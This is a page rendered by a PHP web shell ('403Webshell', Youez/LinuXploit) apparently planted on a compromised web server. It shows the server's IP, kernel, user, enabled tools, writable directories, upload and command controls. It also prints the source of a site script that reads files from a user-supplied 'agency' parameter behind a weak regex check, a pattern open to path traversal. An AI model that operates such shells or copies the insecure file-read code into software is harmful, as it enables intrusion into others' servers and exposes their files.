403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usafundingapplications.ai/membersonly/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usafundingapplications.ai/membersonly/displayagency.php
<?php 
require_once('includes/header.php');
?>
<?

$agency = $_GET['agency'];

if (validate_agency_number($agency))
{
	$agencyfile = "{$_SERVER["DOCUMENT_ROOT"]}/membersonly/agencies/" . $agency . ".html";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?= $cfda; ?></title>
</head>
<body>
	<?
		$fh = @fopen($agencyfile,"r");
		if ($fh)
		{
			$toreplace = "CATALOG.PROGRAM_TEXT_RPT.SHOW?p_arg_names=prog_nbr&p_arg_values=";
			$replacement = "/membersonly/display.php?cfda=";
			while (!feof($fh))
			{
				$line = fgets($fh);
				$line = str_replace($toreplace,$replacement,$line);
				echo $line;
			}
			fclose($fh);
		}
	?>
</body>
</html>
<?
}


function validate_agency_number($agencyid)
{
  if(ereg('^[0-9].', $agencyid))
     return true;
  else
     return false;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit